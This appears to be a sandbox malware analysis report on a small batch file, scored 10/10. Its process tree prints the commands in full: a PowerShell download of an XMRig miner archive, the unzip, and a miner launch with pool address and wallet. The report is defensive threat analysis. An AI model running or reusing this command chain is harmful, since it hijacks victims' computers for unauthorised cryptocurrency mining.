Resubmissions

Analysis

  • max time kernel
    1795s
  • max time network
    1790s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/01/2024, 19:07

General

  • Target

    tesy - Copy (6).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:96
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1100
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3144

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    592723d82c4d0d8d93913d3a4db2e4ae

    SHA1

    d47e99f8be54d01d9c2ad9940607b7f5ecd8fd9b

    SHA256

    00a4a6ef08168c9109840d517c6d3d121a00b8da25b981408807ae6896d6e7b4

    SHA512

    cb5829c53b5948bb63a89341a2aa6a7cb373ecc11220460f2bdcfec05eacd908db2cb70460c79a9b61817c4b3d332976c6d64c3b969d24d1cbb171815458a466

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s3ms5kpn.llc.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    1.8MB

    MD5

    57dd3ba3145ebc21b6c338d0dc54b453

    SHA1

    d704af75ff42051161c64a1a9421d6720fc05a7d

    SHA256

    24b8a604251da7eec8226c3e26f980cc8f4677e257f78bd0a8d42b30c5ffb8e6

    SHA512

    6e2395a16d7008c0b04adefe0e187a14fc2666c2301acd6607bb1ad1222615b4ffb58fdaa5334b38fa3cec5cb492dde2576a2e60f0bdca92f4925a61e9b96fb3

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    1.6MB

    MD5

    081243de80bb4f7f8ad7f1c453461d0c

    SHA1

    932fc86f38d9848f12d7f07232ac695957e89758

    SHA256

    37f94d6c7355ccedff85af521245d2c57cd93091fbeffff42854a722cdc96f76

    SHA512

    070e79c0429b27494538d855bfe574a317f4b11b9449a9ff033dc025b20212814cfc6ba73a276b77c0228ce8721a1f8c32afc52730481bd647dab1c1e64fe081

  • memory/1100-76-0x000002A230B70000-0x000002A230B82000-memory.dmp

    Filesize

    72KB

  • memory/1100-36-0x00007FFB4F620000-0x00007FFB5000C000-memory.dmp

    Filesize

    9.9MB

  • memory/1100-38-0x000002A230BD0000-0x000002A230BE0000-memory.dmp

    Filesize

    64KB

  • memory/1100-37-0x000002A230BD0000-0x000002A230BE0000-memory.dmp

    Filesize

    64KB

  • memory/1100-113-0x00007FFB4F620000-0x00007FFB5000C000-memory.dmp

    Filesize

    9.9MB

  • memory/1100-62-0x000002A230BD0000-0x000002A230BE0000-memory.dmp

    Filesize

    64KB

  • memory/1100-89-0x000002A230B60000-0x000002A230B6A000-memory.dmp

    Filesize

    40KB

  • memory/3144-145-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-150-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-184-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-116-0x0000028E65A50000-0x0000028E65A70000-memory.dmp

    Filesize

    128KB

  • memory/3144-117-0x0000028E65AA0000-0x0000028E65AC0000-memory.dmp

    Filesize

    128KB

  • memory/3144-118-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-120-0x0000028E65D70000-0x0000028E65D90000-memory.dmp

    Filesize

    128KB

  • memory/3144-119-0x0000028E65D50000-0x0000028E65D70000-memory.dmp

    Filesize

    128KB

  • memory/3144-121-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-122-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-123-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-124-0x0000028E65D50000-0x0000028E65D70000-memory.dmp

    Filesize

    128KB

  • memory/3144-125-0x0000028E65D70000-0x0000028E65D90000-memory.dmp

    Filesize

    128KB

  • memory/3144-126-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-127-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-128-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-129-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-130-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-131-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-132-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-133-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-134-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-135-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-136-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-137-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-138-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-139-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-140-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-141-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-142-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-143-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-144-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-183-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-146-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-147-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-148-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-149-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-182-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-151-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-152-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-153-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-154-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-155-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-156-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-157-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-158-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-159-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-160-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-161-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-162-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-163-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-164-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-165-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-166-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-167-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-168-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-169-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-170-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-171-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-172-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-173-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-174-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-175-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-176-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-177-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-178-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-179-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-180-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/3144-181-0x00007FF7304B0000-0x00007FF730FB3000-memory.dmp

    Filesize

    11.0MB

  • memory/4520-6-0x000001D9D97A0000-0x000001D9D97B0000-memory.dmp

    Filesize

    64KB

  • memory/4520-4-0x000001D9D97B0000-0x000001D9D97D2000-memory.dmp

    Filesize

    136KB

  • memory/4520-5-0x00007FFB4F620000-0x00007FFB5000C000-memory.dmp

    Filesize

    9.9MB

  • memory/4520-7-0x000001D9D97A0000-0x000001D9D97B0000-memory.dmp

    Filesize

    64KB

  • memory/4520-10-0x000001D9D9960000-0x000001D9D99D6000-memory.dmp

    Filesize

    472KB

  • memory/4520-25-0x000001D9D97A0000-0x000001D9D97B0000-memory.dmp

    Filesize

    64KB

  • memory/4520-30-0x00007FFB4F620000-0x00007FFB5000C000-memory.dmp

    Filesize

    9.9MB